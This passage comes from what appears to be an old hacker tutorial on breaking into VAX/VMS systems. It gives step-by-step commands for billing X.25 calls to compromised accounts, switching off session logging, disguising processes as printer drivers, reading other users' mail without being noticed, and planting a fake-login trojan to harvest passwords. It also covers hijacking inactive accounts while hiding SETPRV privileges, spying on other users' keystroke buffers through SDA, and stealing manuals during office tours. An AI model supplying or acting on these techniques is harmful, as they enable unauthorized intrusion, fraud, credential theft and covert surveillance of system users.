bit. Another method which often works is to use the SHOW LOGICAL command. By specifying a certain table, you can sometimes get a list of the NUAs of the other nodes in the same cluster as your node. To do this type: $show logical/table=*psi* An alternative method which is a bit messy and requires higher privileges is to type out the NETCIRC.DAT file. ie: $type sys$system:netcirc.dat On all the systems that I have seen, none of them had WORLD READ access to this file, so it is not possible to read this with just TMPMBX and NETMBX privileges. Many times you will want to call a phone number to another machine. To do this use: $set host/dte txa0: /dial=number:5551212 This command will dial out to 555-1212 using the terminal TXA0: To dial out a phone number, you MUST specify a terminal that is hooked up to a modem. To find out which terminals have modems type: $show device This will give you a list of devices hooked up to the VAX. Devices are 4 character strings followed by a colon (:) The terminals that you can use are usually further down the list. To test the terminal for a modem, use the following line, which also illustrates the importance of lexicals: $write sys$output f$getdvi("txa0","tt_modem") This above line would test the terminal TXA0: to see if it has a modem attached If it responds with TRUE, then you have a modem, otherwise not. Note that you must put the terminal name in quotes, and also that you DO NOT enter the colon. If the VAX you have hacked onto is hooked up on a packet switching system such as DATAPAC or TELENET, then there is another USEFUL thing you can perform. To call out NUA's use the /X29 qualifier. For example: $set host/x29 026245400050570 This would call up the NUA 026245400050570 (altos:tchh). What is interesting to note is that on many VAX's you can call out to foreign remote nodes such as in the example and the charge for the collect call is placed to the account through which you are logged in as. This is a safe and easy method to call out to PSDN's which are normally long distance from you. It should be noted that many system managers turn off foreign DNICs, which may limit you to calling only within your local DNIC. One precaution you may want to take when using the SET HOST/X29 command is to turn off logging. Although this is usually turned off, some system managers may buffer everything you type in and keep it in a file. To temporarily turn the logging off, try this: $run sys$system:psipad It will then ask for NODE: just hit RETURN, then: PSI>show log_file this will either say that buffering is off or it will give you a filename with a directory path. If it is not off then make a note of the file, then type: PSI>set nolog_file This will turn off the buffering. After you are through with the remote session be sure to turn it back on with: PSI> set log_file xxxx:[xxxx.xxxx]xxxxx.xxx All the xxx's represent the full filename path that you initially wrote down when you did the SHOW LOG_FILE command. I want to point out another interesting trick that sometimes works on certain accounts. Many a time i have encountered an account on a Vax which would simply allow you to call out to another node. It had no other purpose, and would refuse to give you DCL access. If you encounter such an account and it asks you to enter a nodename, try putting /x29 NUA. This technique allows you to dial out to remote systems via some PSS even though you do not have DCL access! An example: Enter nodename> /x29 026245400050570 If /X29 isn't disabled, this will allow you to call that NUA. One thing to note is that not all systems allow you to call out using these methods. Some have /x29 disabled, others have /dial disabled etc. In order to overcome this barrier, it is important to know which files are involved. If you want to dial out, you MUST have the modem files (such as DMCL). If you want to dial out across a PSS, you must have the PSI utility files, and lastly if you wish to dial out to another node in the cluster you must have RTPAD.EXE on the local node and REMACP.EXE and RTTDRIVER.EXE on the remote node. One quick note about finding other VAXes that have PSI utilities on them. Often you may want to hack only those VAXes that have PSIPAD on them. To determine if a particular VAX in your cluster has the capability, issue the command: $dir NODE::sys$system:psi*.* NODE stands for the nodename that you want to check. If this returns with a message that no files match, then this particular VAX does not have PSI installed. If on the other hand it returns with several file names, then it does have the PSI utilities installed. This is just a VERY brief overview of the DECnet setup on VAX/VMS systems. For a more detailed analysis, look for my other file: 'Understanding DECnet and NCP' HIDING ON THE SYSTEM -------------------- There are several methods that allow you to remain undetected once you have hacked onto a VAX. One of the most important things is to leave things as they are, in other words, do not delete files or subdirectories. You should also avoid leaving suspicious looking COM or EXE files that you may have created. An important ability to have is being able to hide from SHOW USER. There are several ways of going about this, but the simplest is to become a non-interactive process. Or to become a subprocess of some other non-interactive process such as a BATCH or NETWORK process. Although this will hide you from SHOW USERS, you will still be visible if someone did a SHOW SYSTEM. To get around this you should also specify your process name to a printer driver or something. For example: $show system Look for the process that has a name of "SYMBIONT_xxxx" where xxxx is a number. These are the printer drivers on the system. Look for the last number on the list and then change your own process to one higher than this number. For example if the last printer is 5 then type: $set proc/name="SYMBIONT_0006" At the end of this file i have enclosed a small 20 line assembler program that you can enter through EDIT. It allows you to hide from SHOW USER by changing your process to an OTHER non-interactive process. After you assemble the file, link it and then execute it using the RUN command. You should then copy this file to some rarely used directory, where no one else will notice it. OTHER PROCESSES --------------- So you have hacked your way in, and everything is going smooth. Now you want to find out what all the other people on the system are doing. There are several ways of finding out who else is using the system and what they are doing. Here i will outline some of the basic methods. Perhaps the simplest command that you can issue to see who else is logged in is the SHOW USER command. $show user a typical output might look like: VAX/VMS Interactive Users 1-SEP-1989 12:48:51.14 Total number of interactive users=5 PID Username Process Name Terminal 202000B3 DELUCAJ DELUCAJ VTA21: TTA7: 204000C4 <login> _vta13: VTA13: LTA8: 20400138 OPERATOR system monitor VTA17: OPA0: 2040013D POLLACK POLLACK VTA11: TTB0: 204000BC ENTITY FUK YOO VTA15: TTA1: Ok so what does all this mean?! Well lets go one column at a time. The first column gives you your process identification number. This is a unique number that is assigned to each process as it logs in. The number itself really doesn't matter, however it is required for certain commands. The next column is the username of the process. This always puts the name of the account that you logged in with. Sometimes you may notice that instead of a name it says <login> This indicates that someone is currently going through the login procedures under that PID. The next column is the process name. This is defaulted to be the same as your username, but can easily be changed. For example: $set proc/name="Hacker!" This will set your process name to Hacker! Since everybody will see this when they do a SHOW USER command, it is not recommended that you choose something that will give you away. In general, you leave this as the default. The next column shows the virtual terminal that you are logged into. The last column shows the physical terminal that you are logged into. It is important to check this last column. You should check to make sure that nobody is logged in under OPA0: Anyone logged in under this is using the system console, which means that they could possibly be watching you! Another one to note is RTxx: which indicates a process that is remotely logged in (ie calling in from another VAX or something) Other things that you should watch out for are users who are logged in under the SYSTEM account or any other high-privileged accounts. Any one of OPERATOR,OPER,SYSTEM,SYSMGR etc could mean trouble for the hacker. One thing that you may notice on some systems is that a process will be logged on ALL the time under the OPA0: terminal. What's going on?! Is the system manager there all the time? No. What happens on many systems is that the system manager logs into his terminal, and doesn't bother logging out at the end of the day, leaving his process running often for weeks at a time. There is no easy way to know if the guy is really there or not. There are two things you can do. One is to check the time that the account has been IDLE, but there is no easy way to check this without going into some programming. The next best you can do is issue the SHOW SYSTEM command. This will show all the processes currently running, their priority levels, how much CPU time they are eating up etc. A typical report may look like: $show system VAX/VMS X2EN on node DELPHI 01-SEP-1989 15:10:31.02 Uptime 0 12:06:30 Pid Process Name State Pri I/O CPU Page flts Ph. Mem 22200080 NULL COM 0 0 0 16:34:12.00 0 0 22200088 SWAPPER HIB 16 0 0 00:03:52.53 0 0 22200113 ENTITY LEF 4 16505 0 00:00:12.02 8689 233 : : : : etc etc This display can give you several important pieces of information about other processes. The explanation of each column: PID - the process identification number Proc Name - the name of the process. Note that certain non-interactive system processes such as NULL, SWAPPER, ERRFMT etc are always running in background. STATE - This is important. This tells you what the process is currently doing. HIB-hibernating, COM-computing, LEF-active, CUR- current PRIORITY - the higher the priority number, the higher priority it has in terms of accessing CPU time. I/O - Shows the accumulation of the direct I/O and buffered I/O CPU - the total amount of CPU time the process has used so far PAGE FLTS - page faults, number of exceptions generated. Not very useful... PH. MEM - amount of physical memory that the process occupies A further thing you may notice after the last column on some processes is a single letter. This is the process indicator, and it can be one of: B - batch job S - subprocess N - network process Another useful option is the ability to know which files, each of the processes are accessing. To accomplish this type: $show devices/files/nosystem The only problem with this command is that it will not show the filename if you do not have read access to it. (or the BYPASS privilege) Perhaps the most POWERFUL tool that the VAX/VMS hacker has is the System Dump Analyzer (SDA). An important option of this allows you to view all the process running on the system, what files they are accessing, their process status, the contents of their virtual memory (such as keyboard buffer) etc etc A VERY powerful command, it is started with the command: $analyze/system The only drawback with this command is that it requires the CMKRNL privilege. I will discuss this feature in more detail later in the file. DETACHED ACCOUNTS ----------------- A very big security loophole which is allowed on many VMS systems are detached accounts. Basically what this allows you to do is cut carrier instead of logging out properly. Instead of logging the process out, it is left waiting on the system. The next user who logs in, instead of getting a Username prompt will get your shell ($) prompt! There are many useful things you can do with a detached account. The most obvious use of course is to set up a Trojan Horse program. Basically you write a procedure that simulates the VAX/VMS login sequence. After the user enters his/her username-password, you save this info to a file, give him a 'User authorization failure' and throw him into the real login sequence. He will think he mistyped something and this time when he tries, he will be able to log in normally. But in the meantime, you have a copy of his username/password combination stored away in a file, which you can later use! EXAMINING FILES --------------- Often it becomes necessary to examine a file in greater detail than provided by a simple TYPE command. For executable and object files there is of course the ANALYZE/IMAGE and ANALYZE/OBJECT commands, but often you want to have a look at each individual byte in the file. The best way to do this is to use the DUMP command. An example: $dump test.dat DUMP of file DISK0:[NORMAN]test.dat on 15-APR-1989 15:43:26.08 File ID (3134,818,2) End of file block 1 / Allocated 3 Virtual block number 1 (00000001), 512 (0200) bytes 706d6173 20612073 69207369 68540033 3.This is a samp 000000 73752065 62206f74 20656c69 6620656c le file to be us 000010 61786520 504d5544 2061206e 69206465 ed in a DUMP exa 000020 00000000 00000000 0000002e 656c706d mple............ 000030 00000000 00000000 00000000 00000000 ................ 000040 : : : 00000000 00000000 00000000 00000000 ................ 0001E0 00000000 00000000 00000000 00000000 ................ 0001F0 As you can see, this not only shows the ASCII interpretation, but also the HEX value for each byte. This can be VERY valuable in certain situations. You should note that since the default is HEXADECIMAL LONGWORD, the bytes seem to be in a backwords order. This is due to the way the machine stores numbers in memory: Lo-byte,LSB,MSB,Hi-byte. You can optionally specify the numbers to come out in decimal or also in single byte format. Example: $dump sbsu::sys$system:rightslist.dat /byte/header/decimal See the online HELP files for more detail into the various qualifiers. You should note that you CAN use dump to access files on OTHER nodes! CREATING TEXT FILES ------------------- This isn't the best of places to put this topic, but if I don't do it now, I will probably forget later on, so here goes... Often you will need to create files on a system, such as messages to other hackers, notes to yourself, small DCL programs etc. The basic method is as follows: $create file.txt Hi this is a dumb message that i am typing just to see how this command works. <CTRL-Z> $ Basically what is happening here is you specify a filename and an extension when using the CREATE command (in this case file.txt) and then the system waits there for you to type in something. At this point you can type whatever you want, and to end the message/program/memo just hit CTRL-Z. This will return you to the DCL prompt. This is an easy method to transmit COM files that you have either created or buffered from some other system. Just issue the CREATE command, send the file through your buffer, then hit CTRL-Z to finish it off. VAX/VMS MAIL SYSTEM ------------------- Although it is not a good idea to use the MAIL system to send or receive messages (since the messages can be read by anyone with enough privs) I will present a brief list of what it can do. One important thing to note is that whenever there are MAIL messages waiting to be read, they are stored in a file that ends with the MAI extension. So if the account you have logged into has received mail, and you really want to read it for some reason, then you can do the following from DCL: $type mail.mai This file is not necessarily called MAIL.MAI, it could be any other name with a MAI extension. Aside from some header information stored at the beginning of each message, the rest of the message is mostly in standard ASCII and easily readable. Doing it this way ensures that the message remains there for the REAL user when he logs in. (after a message has been read, it is put into another area, and the user will not see it. This could make him suspicious if he keeps losing important mail messages!) Reading MAIL files can be quite useful, because sometimes important messages are stored here. Like i stated earlier, you shouldn't be actually using MAIL to read the mail since it will then get deleted, and the actual user will eventually notice. Also, you shouldn't use the MAIL system to send hacker-related information (to other hackers) because system managers can access your mail and read what you have to say. Basically you can use the MAIL facility in two ways: Interactively and through the shell. For ease of use I will only describe the interactive method since it is easier and more flexible. If you insist on doing it from the shell, then just call up the ONLINE HELP for the qualifiers. In any case, to interactively use the MAIL utility type: $mail This will respond with the prompt: MAIL> At this point you can enter the various mail commands. Following is a brief overview of the more important commands and concepts. At the end, I have provided a table with all the possible commands that can be entered here. Heres a brief list of the more important MAIL commands that I will discuss here SEND DIRECTORY EXTRACT READ[/NEW] DELETE PRINT FORWARD MOVE HELP REPLY SELECT EXIT The first command to try is the SEND command. Try sending a message to yourself Enter the SEND command and press RETURN. Enter your own user name at the prompt and press RETURN. Enter a subject at the prompt and press RETURN again. The following example shows how to use the SEND command: MAIL> SEND To:PIERCE Subj:Sailing Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit: When you finish entering the text of your message, press CTRL-Z. Because you are sending the message to yourself, MAIL signals that you have just received a new message by displaying the following message: New mail on node FLAXEN from PIERCE MAIL> Now, you are ready to use the READ command. To read the message you just sent to yourself, enter the READ command with the /NEW qualifier and press RETURN as follows: MAIL> READ/NEW You must specify the /NEW qualifier with the READ command when you want to read new mail that arrives while you are in the Mail Utility. When you are not in the Mail Utility and you receive new mail, invoke MAIL to read the new message, you can enter the READ command without the /NEW qualifier. Or, if you wish to read mail that you have already read, you can enter the READ command. You can forward a copy of a mail message to another user by entering the FORWARD command. MAIL prompts you for the name of the user to receive the message. Try forwarding a copy of the message you just received back to yourself. Enter your own user name and press RETURN. Supply a subject when prompted and press RETURN MAIL signals that you have just received a new message. Enter the READ/NEW command to read the forwarded message. When you receive a message and want to respond to it, enter the REPLY command and press RETURN. MAIL displays the header information as follows: MAIL> REPLY To:FLAXEN::PIERCE Subj:RE: Using the REPLY command Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit: When you finish typing your response, press CTRL-Z. Again, MAIL signals that you have just received a new message. To read the message, enter the READ/NEW command. When you want to see a list of all the mail messages you have collected, enter the DIRECTORY command and press RETURN. MAIL displays a list like the following: # From Date Subject 1 FORBES 1-SEP-1989 How to Write a Memo 2 SBSU::BERT 2-SEP-1989 Using the Printer 3 FROST::BASTIEN 4-SEP-1989 Chicken Kiev When you want to remove a message, use the DELETE command. You can either enter the DELETE command while you are reading the message or you can enter the DELETE command followed by the number of the message you want to remove. To remove the second message in the list, enter the following command line: MAIL> DELETE 2 If you enter the DIRECTORY command after you have deleted a message (or messages), you see the messages marked for deletion, as follows: # From Date Subject 1 FORBES 1-SEP-1989 How to Write a Memo 2 (Deleted) 3 FROST::BASTIEN 4-SEP-1989 Chicken Kiev When you exit from MAIL, the messages marked for deletion disappear. The Mail Utility allows you to organize your messages by moving them into folders. To move a message to a folder, enter the MOVE command (while you are reading the message) and press RETURN. MAIL prompts you for a folder name. Type any name, for example, REVIEWS or JOKES or STATUS_REPORTS. MAIL also prompts you for a file name. You can specify the default mail file by pressing RETURN. A sample session demonstrating the MOVE command follows: MAIL> 2 MAIL> MOVE _Folder: HACKERS _File: <RET> Folder HACKERS does not exist. Do you want to create it (Y/N, default is N)? Y %MAIL-I-NEWFOLDER, folder HACKERS created In this example, the folder name is HACKERS and the default mail file is specified. If the folder you name does not exist, MAIL asks you if you want to create it. Once you have created folders, you may want to move between them. To move from one folder to another, use the SELECT command. If you want to move to the HACKERS folder, enter the SELECT command as follows: MAIL> SELECT HACKERS %MAIL-I-SELECTED, 1 message selected In this example, MAIL displays a message indicating the number of messages in the folder. To move to a folder named JOKES, enter the following command line: MAIL> SELECT JOKES %MAIL-I-SELECTED, 32 messages selected You can enter the DIRECTORY command to see a list of the messages in the folder you just selected. When you want to move a mail message from your mail file to a sequential file that you can access from the DCL command level, use the EXTRACT command. Enter the EXTRACT command (while you are reading the message) and press RETURN. MAIL prompts you for the name of a file. Then, when you exit from MAIL, the file is listed in your directory. The following example shows how to use the EXTRACT command to move a mail message to a file named GAMES.DAT. MAIL> EXTRACT _File: GAMES.DAT %MAIL-I-CREATED, DISK:[BERGMAN]GAMES.DAT;1 created MAIL> To print a hard copy of a mail message, enter the PRINT command while you are reading the message and press RETURN. (When you exit from MAIL, the message enters the print queue.) The following example shows how to make a hard copy of message #4 by using the PRINT command: MAIL> 4 #4 4-AUG-1989 09:39:20 MAIL From: SPARTA::FELLINI To: MARSTON Subj: Rydell's Reasons In reference to the meeting of July 26, I would like to explain Rydell's opinion more fully... MAIL> PRINT When you are ready to leave MAIL, enter the EXIT command and press RETURN. Any messages marked for deletion disappear. Any messages marked for printing enter the print queue and the following message is displayed: MAIL> EXIT Job MAIL (queue ATLAS_PRINT, entry 43) started on QUEUE$LPA0 The next section is a detailed look at what is possibly the most important of the MAIL commands -- SEND Format: SEND [filespec] Sends a message to another user(s). Use the SEND command and the MAIL command interchangeably because they work the same way. MAIL prompts you first for the name of the user(s) to receive the message. You reply with the user name(s) or with the file name of a distribution list file(s), in the following format: [[nodename::]username,...] [,] [@listname[,...]] If you have entered the SET CC_PROMPT command or used the /CC_PROMPT qualifier, you can then specify names of users to receive carbon copies of the message at the CC: prompt. Next, MAIL prompts you for the subject of the mail. To avoid the "Subj:" prompt specify the /SUBJECT qualifier with the SEND command. You can include a file specification with the SEND command. If you specify a file with the SEND command, the text in that file is sent to the specified user(s). If you do not specify a file, MAIL prompts you for the text of your message. Enter the message that you want to send; then press <CTRL-Z>. Note that once you have typed a line and pressed RETURN, there is no way to edit it. If you decide not to send a message you are typing but want to stay within the Mail Utility, press <CTRL-C> to abort the message. You then receive the MAIL> prompt. CTRL-Z exits you from MAIL. Examples -------- 1. MAIL> SEND/LAST To:FLIGHT::MYERS Subj:Geometric Concepts MAIL> This example shows how to send a copy of the last mail message you sent to a user named Myers on node FLIGHT. 2. MAIL> SEND/SELF/SUBJECT="Good Harbor" To:DAPPER::WAYNE Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit: This example shows how to send a mail message to a user named WAYNE on node DAPPER. The /SELF qualifier enables MAIL to send a copy of the same message back to you. The subject of the message is Good Harbor. Since the /SUBJECT qualifier was specified, there is no Subject: heading. 3. MAIL> SEND To:BAKER,MARSTON,@SUPERVISORS Subject:Handling Stress Enter your message below. Press CTRL-Z when complete, or CTRL-C to quit: This example shows how to send a mail message to two users (BAKER and MARSTON) and a distribution list (SUPERVISORS). One of the important concepts relating to MAIL is the idea of FOLDERS. All mail files are subdivided into folders. By default, your mail file (MAIL.MAI) contains a folder called MAIL. The MAIL folder contains messages that you have already read. When you receive new mail messages, they automatically enter into a folder named NEWMAIL. After you read the messages in the NEWMAIL folder, they automatically move into the MAIL folder and the NEWMAIL folder disappears. When you delete a message it automatically moves into the WASTEBASKET folder. Deleted messages collect in the WASTEBASKET folder until you empty it. To emtpy the WASTEBASKET, enter either: EXIT or PURGE You can create as many folders as you want. You always know which folder you are currently in because the name of the folder is displayed at the top right corner of the screen when you enter the READ or DIRECTORY command. You can enter the DIRECTORY/FOLDER command to see a display of the existing folders in the current mail file. (use the MOVE command for creating new folders) You can remove a folder by deleting all the messages that it contains. A look at a sample MAIL heirarchy: [mailfile1] [mailfile2] [mailfile3] ! ! ! ! +-----+---------+ +----+---------+ [folder1] [folder1] [folder2] ! ! ! ! ! [wastebasket] [folder1] ! +-+-----+ message1 ! ! message ! ! garbage1 message1 message1 message2 MAILFILE ---> FOLDERS ---> MESSAGES MAIL COMMANDS OVERVIEW ---------------------- Here I have provided a listing of all the commands that you can issue from the mail utility and a brief description of what each one does: Command Description -----------+------------------------------------------------------------------- ANSWER ! Same as the REPLY command. See below ATTACH ! Allows you to switch to another process in your job BACK ! Displays the last message read COMPRESS ! Makes an indexed sequential mail file smaller COPY ! Copy a message to another folder, without deleting original CURRENT ! Displays the beginning of the message you are currently reading DEFINE ! Allows you to define keys as macros DELETE ! Delete a message DIRECTORY ! Displays a list of the messages in the current folder EDIT ! Enables you to edit a message before it is sent ERASE ! Clears the screen EXIT ! Exits from the MAIL utility EXTRACT ! Places a copy of the current message into a sequential file FILE ! Moves the current message to the specified folder FIRST ! Displays the first message in the current folder FORWARD ! Sends a copy of the message you just read to another user KEYPAD ! Define the keypad LAST ! Displays the last message in the current folder MAIL ! Sends messages to another user. Identical to the SEND command MOVE ! Moves the current message to the specified folder NEXT ! Skips to the next message and displays it PRINT ! Dumps messages to the PRINTER PURGE ! Deletes all messages in the WASTEBASKET folder QUIT ! Quits MAIL without deleting messages in WASTEBASKET READ ! Displays your messages REPLY ! Sends a message to the sender of the message you are reading SEARCH ! Searches the current folder for the message containing a string SELECT ! Allows you to switch to another folder SEND ! Send a message to another user SET-SHOW ! Review or Modify various characteristics of the MAIL utility SPAWN ! Create a sub-process. Often useful to the hacker... -----------+------------------------------------------------------------------- COMPILING PROGRAMS ------------------ Once you are comfortable with the VAX/VMS operating system, you will probably want to write yourself some useful little hacker utility programs. Although many can be simply written as DCL script files, often the occasion arises where the use of a high-level language is necessitated. Through a high-level language you have full access to the system services, as well as a lot more control of what you want the VAX to do. Here I will very briefly show how to write, compile and execute a basic program. Creating executable files in other languages follows the same overall procedures: To activate basic from the shell type: $basic This should put you into the VAX-BASIC environment, and the terminal will print READY on your screen. If just typing BASIC doesn't work, you may want to try: $mc basic This sometimes works, but it should be noted that BASIC is not found on all VAX's. Some have it, some don't. In any case, whenever you are editing a program, you should never leave source code lying around. The best way is to edit the file on an online buffer editor, and then transmit the file. It should always be done in this manner unless your file is VERY large, and it would be cumbersome to keep uploading it. If you must, then to save your creation onto the VAX, just type: save "filename" This will save the source code with a .BAS extension. You should rename this & hide it in some seldom checked directory. After you have finalized your coding you should create an executable file, download your source code, and then delete the one online. To create an executable file, first you must exit back to DCL, do this by typing EXIT. Then once in DCL type: $compile filename.bas $link filename $delete filename.obj;* Note that you can link multiple OBJ files together, just like in MS-DOS. It should also be noted that to create truly useful programs you will need to get your hands on a system services manual. Through the system services you can gain all kinds of information about the system and any nodes that it is hooked up to. NOTE: type HELP in BASIC to get a complete list of all the commands and syntax ATTAINING MANUALS ----------------- As you can see, if you are going to get anywhere, you will have to get your hands on some manuals. Perhaps the best book you should invest in is "VAX/VMS INTERNALS AND DATA STRUCTURES". This book concentrates on explaining all the data structures as well as all the system service calls and how everything basically works inside a VAX. Once you have read and understood this book, VAX/VMS kernal programming should become a snap. Its available at most big bookstores but it costs about $130 (Canadian funds). You may also want to look at your local library or University library, since they usually carry this book and other ones you may want to grab. Aside from these places the next best place to get major information is from the actual VAX/VMS manuals. Unfortunately these cannot be bought at any store. However there are several ways you can get your hands on one. One method is to go work at a company during the summer that uses VAX'es. Then just grab the manuals or better yet, photocopy them. (be forewarned though. Theres several thousand pages worth of useful info!) Or if you know someone else who works at such an establishment, you can get them to heist the manuals for you. Other good techniques are taking guided tours of offices of large corporations. This is the BEST method, because you can usually pick up a lot of stuff. Just make sure you go with a friend (to distract the guide, lookout etc) and carry a school bag with you. When they get to the computer room, start looking around. Usually they will have the manuals in some big shelf somewhere. Just grab yourself whatever you need. Also keep a lookout for other useful info laying around such as system accounts, dialups etc If you really need to find the number of a VAX and you don't see it posted anywhere, then you should get yourself a cheap little phone. (you know those K-MART $4.99 jobs) Take the phone plug out of the jack, plug in your phone and dial up your local ANI. This will give you the phone number to the dialup. It should be noted that not all VAX's allow remote logins. This can be adjusted from the SYSUAF setup via the AUTHORIZE program. Local ANI's for TORONTO are: 997-8123 997-1234 997-1699 If you don't have any Local ANI's, then just ask around on your local PHREAK/HACK boards. CREATING/MODIFYING ACCOUNTS --------------------------- The job of creating, modifying and deleting users is performed via the image AUTHORIZE. This program is always found in the sys$system directory, and requires at least the SYSPRV privilege. If you do not have this (or SETPRV) then you cannot execute this file. Assuming you have hacked out an account with the required privilege or you have via some mechanism boosted your privs, then this is how to start up AUTHORIZE: $sd sys$system $run authorize This will return you with the UAF prompt: UAF> At this point you can make modifications to the User Authorization File (UAF). It should be noted that the two files that this program accesses are SYSUAF.DAT and RIGHTSLIST.DAT, and both of these are found in the SYS$SYSTEM directory. First, heres the quick and dirty way to create a new user: UAF> add username /password=whatever/priv=setprv This is basically the minimum requirements for creating a high-privileged user on a system. Of course, you should try and avoid adding new users in where possible. It is a much better idea to try and find an INACTIVE user who hasn't logged in for quite a while and change their password to whatever you want. This way, any system operator will not get suspicious because of a new username. In addition, when granting privileges to either your own user, or modifying some other user, you should NEVER give them ALL privs. The reason is simple: IT STANDS OUT! Anybody going through the sysuaf database can immediately pick out such accounts, and you will be found out very quickly. If you must give all privs then the better way is to simply grant the SETPRV privilege as the normal privilege. (do not assign it as a default however) The reason for this is that this will not stand out as much. By not assigning it as a default, if the real user happens to log in for any reason, they will not see it as one of their privs when performing a SHOW PROC/PRIV. The only way to activate your hidden privileges is by issuing: $set proc/priv=all Here I will briefly outline the commands you can perform from UAF: Command Description ------------------------------------------------------------------------------- ADD !This as you know will add a new user. You may specify many qualifiers !when creating the account. See the online HELP for further information. COPY !Allows you to copy any record in the UAF to a new user. CREATE !Allows you to create either the RIGHTSLIST.DAT or NETUAF.DAT files if !they don't already exist. DEFAULT!Allows you to change any item in the DEFAULT record in SYSUAF.DAT EXIT !Terminate authorize and go back to the VMS shell. GRANT !Grants an identifier name to a user UIC LIST !Makes a listing file (SYSUAF.LIS) which gives information on the records !specified. MODIFY !Allows you to modify an existing user. see below for further discussion REMOVE !This allows you to delete an existing user record RENAME !This allows you to change the username of a record REVOKE !Revokes an identifier name from a username or UIC identifier SHOW !Allows you to view the records in SYSUAF.DAT, RIGHTSLIST.DAT and !NETUAF.DAT ------------------------------------------------------------------------------- The commands you will be using most from here are SHOW and MODIFY. Show can be used to isolate INACTIVE accounts (based on last login), failed login attempts etc. The MODIFY command will let you change any characteristic in any of the records. Below I will give a short discussion on some of the more important qualifiers that can be specified. Note that exactly the same thing applies to the ADD command: /ACCESS -if the account is set up for no remote access or whatever, just include this qualifier (no parameters) to gain FULL access. /DEFPRIV -your default privileges. These are the privileges that are active upon login /DIR -the directory assigned to you upon login. ie. SYS$LOGIN /DEVICE -the drive that the directory is in. /FLAGS -this is an important one! You can specify things such as CAPTIVE accounts, NODISUSER, and many others. /LGICMD -the file that is executed upon login. Normal setting would be /LGICMD=login.com /PASSWORD-primary password /PRIORITY-CPU priority. Normal setting is 4 /PRIV -your assigned privileges. Should NOT use ALL, very conspicuous. /PWDMIN -minimum password length /UIC -User Identification Code On most systems you will find a file called ADDUSER.COM which allows the system manager to create new users. It is a DCL file which simplifies the task of creating new users by prompting you for all the necessary parameters. If this file does not exist on the system, here I have outlined the manual method of creating a new user (this is the FULL setup): $sd sys$system $run diskquota NOTE: All variables that you must enter are in square brackets, eg. [uic] QUOTA>add [uic] /perm=[quota]/overdraft=[overdraft] Basically this sets up how much disk space is allotted to the user. The quota usually ranges from 1000 blocks to 100000 blocks. The overdraft is usually 10% of the quota. A good setting to keep this at is around 20000 for the quota. $create/dir/owner=[uic]/prot=(s,o=rwed,g,w) [directory]/log This will add in your directory and set its protections. $run authorize UAF> add [username]/own=[fullname]/acco=[account]/dev=[device]/dir=[directory]- /uic=[uic],[privs]/passw=[password] The items here are: username -the name you will use on the system, eg. SMITHJ fullname -your actual name, eg John Smith. (of course you don't use your REAL name!!) account -your account name, usually used for billing purposes device -the drive that contains your directory directory -your login directory. Best to keep an existing one uic -your UIC remember format: [group,member] password -your account password. You can enter whatever you want here privs -your account privileges. Normal is TMPMBX and NETMBX. If you must then specify SETPRV to give you full access to the system That ties up this section. For further information about a specific qualifier just type HELP from the UAF> prompt. KERMIT ------ Kermit is a file transfer program found on most VAX systems. It allows the transfer of files over terminal lines from a remote KERMIT program to the local KERMIT program. Invoking Kermit can be done in several ways depending on the system. Usually the file is located in the SYS$SYSTEM directory. The usual method to start kermit is: $kermit NOTE: some machines it may be KERMIT-32 or some other variation. This may vary on different machines, you may have to RUN the file, or it may have to be passed parameters such as KERMIT 1200 or KERMIT 2400. In any case once you have initiated the program, you should get a kermit prompt: KERMIT> Here you can issue several different commands. Following is a list with brief explanations: COMMAND DESCRIPTION ------------------------------------------------------------------------------- connect !connects you to a virtual terminal, issue AT commands from here. exit !return to DCL quit !return to DCL. Same as above receive !Single file download from another machine get !identical to receive bye !terminates a transaction with another kermit in server mode finish !same as above but doesn't exit to DCL send !Send a file to another machine server !causes kermit to enter server mode set !set parameters such as parity, delay etc show !show the parameters set up currently status !current status such as number of bytes transmitted etc [spawn] !spawn a subprocess [local] !enter VMS commands ------------------------------------------------------------------------------- The last two commands (in brackets) are not always found on every system, but briefly they allow you to spawn a subprocess (often useful when you are tied up in a non-breakable account) and local which can again be used to spawn or issue other DCL commands. There are often other commands, varying on what version of KERMIT is being run. One important note is that SPAWN cannot be issued from a CAPTIVE account, but LOCAL (or an equivalent) can. However, if the system manager is smart he may set up the UAF record to specify that only one process can be active with that account at any one time. If this is the case it will give you a message telling you that you have exceeded the quota allocated. The only way around it is to actually modify the record in SYSUAF.DAT Obviously the important commands are SEND,RECEIVE and CONNECT. Once you issue CONNECT, you can dial out long distance or whatever, just by using regular AT commands. SEND and RECEIVE are self explanatory so I wont go into them. DECSERVERS ---------- This deserves a little bit of attention also. Basically DECservers allow the the user to easily switch between various nodes in a cluster. Unless you are logging in directly to a terminal, you will usually not encounter this. If you do, heres what you will see: Enter Username> Or something of the like. At this point you should just type A or C or whatever else. It is just a terminal identifier and means absolutely nothing. At this point you will get a prompt such as: LOCAL> Here you can do a limited number of commands. The important ones are: LOCAL> show users This will show the users on the DECserver, and what machines they are connected to etc. To view all the machines on the server, type: LOCAL> show nodes This will present a list of the callable nodes. To connect to any one of these you would issue a command such as: LOCAL> connect SBSU This is assuming the nodename was SBSU. That's basically all there is to the DECservers. The other commands are really not that useful to the beginning VAX hacker but can nonetheless be referenced by typing HELP at the LOCAL prompt. SYSTEM DUMP ANALYZER -------------------- Although the SDA is not really for beginners, it is such an important topic that I thought I would give a really brief overview of what it is all about. Basically to call up SDA, type: $analyze/system This will return you with the prompt: SDA> At this point you can do many great things. Oh, before I continue, it should be noted that you need CMKRNL privilege in order to run this program. In any case, once you get the SDA prompt, there are several interesting things you can do. Basically, SDA is a watching tool. It lets you keep track of what other processes on the system are doing. To get information on another process just type: SDA> show process [username] you should put in a person who is logged in where I have put the [username] variable. This will give you a page of useful information on that specific process. The interesting thing is that with the SDA, you can access any part of memory, unlike EXAMINE from DCL. You can for example get the PCB address for a process and then go in and either view or modify things such as privs, priority etc. You can also view other processes type-ahead buffers, and see what they are doing. Like I stated earlier, this is a relatively advanced topic and doesn't fit well into a beginners file, so I will leave it at this, but here I will provide a diagram of the PCB block so that you can see which bytes do what: - SOFTWARE PCB DETAILED LAYOUT - BLOCK 1 BLOCK 2 +---------------+ +---------------+ :pcb$l_sqfl ! ! ! !:pcb$t_terminal +---------------+ ! ! :pcb$l_sqbl ! ! +---------------+ +---+---+-------+ ! ! :pcb$l_pqb :pcb$b_type ! ! ! ! :pcb$w_size +---------------+ pcb$b_pri +---+---+---+---+ ! ! :pcb$l_efcs :pcb$w_mtxcnt ! ! ! 